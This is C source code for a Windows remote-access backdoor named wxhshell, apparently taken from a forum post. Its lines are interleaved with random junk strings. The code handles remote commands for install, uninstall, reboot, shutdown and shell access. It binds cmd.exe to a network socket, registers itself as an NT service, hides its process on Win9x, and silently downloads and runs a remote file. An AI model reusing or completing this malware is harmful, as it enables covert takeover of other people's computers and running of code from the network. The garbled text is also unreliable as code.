  qc6IH9i`  
  // 帮助 #~x5}8  
  case '?': { WNb$2q=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m#nxw  
    break; 4PWr;&  
  } 0uz"}v)  
  // 安装 CP#79=1  
  case 'i': { jVINc=o  
    if(Install()) 3I5WDuq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #I?iR 3u  
    else vs. uq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~qS/90,  
    break; L)}V [j#  
    } hQm4R]a  
  // 卸载 >u)ZT  
  case 'r': { $)3PF  
    if(Uninstall()) WO-WoPO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q&E5[/VK:  
    else Qm#i"jvV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f4S@lyYF  
    break; u =kSs  
    } *$(CiyF!  
  // 显示 wxhshell 所在路径 kkBU<L2  
  case 'p': { H040-Q;S'  
    char svExeFile[MAX_PATH]; CLfb`rF  
    strcpy(svExeFile,"\n\r"); {0e{!v  
      strcat(svExeFile,ExeFile); C/waH[Yzan  
        send(wsh,svExeFile,strlen(svExeFile),0); A{2$hKqHi  
    break; DH9?2)aR  
    } +&,\ J9'B  
  // 重启 |V\.[F2Fe  
  case 'b': { 5"am>$rh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [\9(@Bx  
    if(Boot(REBOOT)) 2w|u)ow )  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  sGls^J)  
    else { P$/A!r  
    closesocket(wsh); TDIOK  
    ExitThread(0); [ |n-x3h  
    } s|r7DdI  
    break; W 'a~pB1I  
    } XOg(k(&T  
  // 关机 ?gwbg*  
  case 'd': { kQd[E-b7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MD4 j~q\ g  
    if(Boot(SHUTDOWN)) 0^.4eX:E_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q;../h]Ne  
    else { }r~l7 2 `  
    closesocket(wsh); Q(5:~**I  
    ExitThread(0); ,DuZMGg  
    } bC>>^?U1m  
    break; J5p!-N`NS  
    } gpK_0?%  
  // 获取shell 3ZL7N$N}7  
  case 's': { _K}_h\e.  
    CmdShell(wsh); y?z_^ppj  
    closesocket(wsh); 9=~H6(m>  
    ExitThread(0); 8^/Ek<Q b|  
    break; k\&IFSp  
  } h"1"h.  
  // 退出 qVD!/;l  
  case 'x': { a^\- }4yR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @52=3  
    CloseIt(wsh); Be>c)90bO_  
    break; Na 9l#  
    } VWA-?%r  
  // 离开 PP[)h,ZL*  
  case 'q': { ooU Sb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %{~mk[d3  
    closesocket(wsh); ?sf2h:\N  
    WSACleanup(); ds$\vSd  
    exit(1); wdcryejCkr  
    break; E}b> 7L&w  
        } .`Old{<  
  } E0)mI)RW.  
  } o(X90X  
;TV'PJ  
  // 提示信息 ^W[B[Y<k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \B>[je-d  
} kLPO+lg+  
  } \|pK Z6*s  
*4hOCQ[  
  return; RZ)vU'@kx  
} @[>+Dzn[6  
V>>) 7E:Q  
// shell模块句柄 J!A/r<  
int CmdShell(SOCKET sock) ^{fi^lL=  
{ m['v3m:  
STARTUPINFO si; ^E<~zO=Z  
ZeroMemory(&si,sizeof(si)); _]=TFz2O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (J^Lqh_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B=q)}aWc  
PROCESS_INFORMATION ProcessInfo; iUxDEt[t*  
char cmdline[]="cmd"; >d27[%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N}}PlGp$  
  return 0; xu"94y+  
} 1fO2)$Y  
P$(WdVG  
// 自身启动模式 CFkW@\]  
int StartFromService(void) zqvRkMWcM  
{ "S B%02  
typedef struct _ r^90  
{ A4#3O5kij  
  DWORD ExitStatus; G&%nF4  
  DWORD PebBaseAddress; GLaZN4`  
  DWORD AffinityMask; Y>78h2AU  
  DWORD BasePriority; x  tYV"  
  ULONG UniqueProcessId; B~V<n&<  
  ULONG InheritedFromUniqueProcessId; ;9p#xW6  
}   PROCESS_BASIC_INFORMATION; j1;_w  
qL%.5OCn(  
PROCNTQSIP NtQueryInformationProcess; M\\e e3Ih  
X ]pR,\B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;"d,~nLn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XQ0#0<  
vB{; N  
  HANDLE             hProcess; qEK4I}Q-=  
  PROCESS_BASIC_INFORMATION pbi; y"|K |QT  
>}dTO/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #51 4a(6  
  if(NULL == hInst ) return 0; <K DH  
p@cfY]<7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5T$9'5V7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ibZt2@GB)I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &jXca|wAR  
JAGi""3HG  
  if (!NtQueryInformationProcess) return 0; ;xW8Z<\-  
>G-8FL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _XH4;uGg  
  if(!hProcess) return 0; R/ ALR  
^f^-.X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >u9id>+  
iX8h2l  
  CloseHandle(hProcess); J<b3"wK0[  
blRY7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f nLR  
if(hProcess==NULL) return 0; ;=5@h!@R  
b{~fVil$y  
HMODULE hMod; GN:Ru|n  
char procName[255]; I!|y;mh:it  
unsigned long cbNeeded; NqiB8hZ~  
M(n<Iu4^_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4o1Q7  
( GFgt_  
  CloseHandle(hProcess); 4)3g!o ?  
y;,=a jrF  
if(strstr(procName,"services")) return 1; // 以服务启动 P1(8U%   
a~8:rW^  
  return 0; // 注册表启动 :[y]p7;{f  
} D+| K%_Qq  
4mEzcwo'  
// 主模块 :.C+?$iuX  
int StartWxhshell(LPSTR lpCmdLine) "-G&=(  
{ C/mg46 v2W  
  SOCKET wsl; d4jVdOq2  
BOOL val=TRUE; ry$tK"v/  
  int port=0; @PYW|*VS  
  struct sockaddr_in door; kmZ.U>#  
J y]FrSm^  
  if(wscfg.ws_autoins) Install(); 5Z* b(R  
>}-~rZ  
port=atoi(lpCmdLine); sFbfFUd  
%)zk..K{l  
if(port<=0) port=wscfg.ws_port; fm3(70F\  
U8 Z~Y}29  
  WSADATA data; .i MnWW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \BN|?r$a  
2~vo+ng  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /yLzDCKn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Jb( DJ-&  
  door.sin_family = AF_INET; JzHqNUn*M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D~cW ]2  
  door.sin_port = htons(port); 7sj<|g<h(_  
=hJfL}&O3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MB1sQReOO  
closesocket(wsl); 4uFIpS|rq  
return 1; K|`+C1!  
} 5i^`vmK  
6_W<hevI  
  if(listen(wsl,2) == INVALID_SOCKET) { 0LS -i%0  
closesocket(wsl); Bk&-1>cY  
return 1; LEWa6'0rq  
} F;pTXt}?5  
  Wxhshell(wsl); :_>\DJ'>  
  WSACleanup(); E^7C _JP  
D0f*eSXE{  
return 0; XFtOmY  
E3y6c)<  
} 3voW  
^SEc./$  
// 以NT服务方式启动 /j11,O?72  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [w,(EE   
{ a|U}Ammr  
DWORD   status = 0; M|ms$1x  
  DWORD   specificError = 0xfffffff; 3QIdN  
w nWgy4:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g`kY]lu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z*h43  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; itw{;j   
  serviceStatus.dwWin32ExitCode     = 0; j]>=1Rd0b(  
  serviceStatus.dwServiceSpecificExitCode = 0; Og=[4?Kpk  
  serviceStatus.dwCheckPoint       = 0; Hc M~  
  serviceStatus.dwWaitHint       = 0; n|6?J_{<b>  
I|Z/`9T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `N$!s7M  
  if (hServiceStatusHandle==0) return; yji>*XG  
n"iNKR>nW  
status = GetLastError(); p+RAtRf  
  if (status!=NO_ERROR)  U7E  
{ R0vww_fz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0D<TF>M;pn  
    serviceStatus.dwCheckPoint       = 0; !5&%\NSv  
    serviceStatus.dwWaitHint       = 0; ~> PgJ ^G  
    serviceStatus.dwWin32ExitCode     = status; ]dq5hkjpU  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3I]Fdp)'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ALfiR(!  
    return; V`[P4k+b   
  } 3|zgDA  
x )3~il5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c8<xFvYG  
  serviceStatus.dwCheckPoint       = 0; _|X7 n~  
  serviceStatus.dwWaitHint       = 0; G,=F<TnI'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )%qtE34`  
} Xk?R mU6  
%&tb9_T)d  
// 处理NT服务事件,比如:启动、停止 tfA}`*$s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {\EOo-&A  
{ g,=^'D  
switch(fdwControl) mL$f[  
{ e=7W 7^"_  
case SERVICE_CONTROL_STOP: /=T H08  
  serviceStatus.dwWin32ExitCode = 0; IM=+3W;ak  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~r&D6Y  
  serviceStatus.dwCheckPoint   = 0; lufeieW  
  serviceStatus.dwWaitHint     = 0; q? 9GrwL8F  
  { 'B`#:tX^N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iX%n0i  
  } 3 z=\ .R  
  return; /&(1JqzlB  
case SERVICE_CONTROL_PAUSE: 4jGLAor|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &\^rQi/tf  
  break; 7}%H2$Do  
case SERVICE_CONTROL_CONTINUE: y(}Eko4u5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B?3juyB`--  
  break; k;Hnu  
case SERVICE_CONTROL_INTERROGATE: W Y:s gG  
  break; 0% +'  
}; LG&5VxT=,<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n=o_1M|  
} MM gx|"  
+c) TDH  
// 标准应用程序主函数 $;`I,k$0>~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c`jDW S  
{ j5^-.sEEw  
")%r}:0  
// 获取操作系统版本 /2XW  
OsIsNt=GetOsVer(); smup,RNZRX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9Ejyg*  
"Pj}E=!k  
  // 从命令行安装 m$:&P|!'p  
  if(strpbrk(lpCmdLine,"iI")) Install(); mmP U  
si(cOCj/  
  // 下载执行文件 *_"u)<J  
if(wscfg.ws_downexe) { RJ}#)cT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $r79n-  
  WinExec(wscfg.ws_filenam,SW_HIDE); @G*.1;jO  
} pbLGe'  
;^3$kF  
if(!OsIsNt) { OCK>%o$[  
// 如果时win9x,隐藏进程并且设置为注册表启动 eW50s`bKY  
HideProc(); Uu'dv#4Iw  
StartWxhshell(lpCmdLine); &z@~B&O  
} >emcJVYV`[  
else F8=nhn  
  if(StartFromService()) .'d2J>~N  
  // 以服务方式启动 Vz"u>BP3~  
  StartServiceCtrlDispatcher(DispatchTable); r}W2Ak\  
else ST;t, D:  
  // 普通方式启动 A 5nO=  
  StartWxhshell(lpCmdLine); j@| `f((4  
c\.P/~  
return 0; B42sb_  
}
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只看该作者 1 发表于: 2006-10-10
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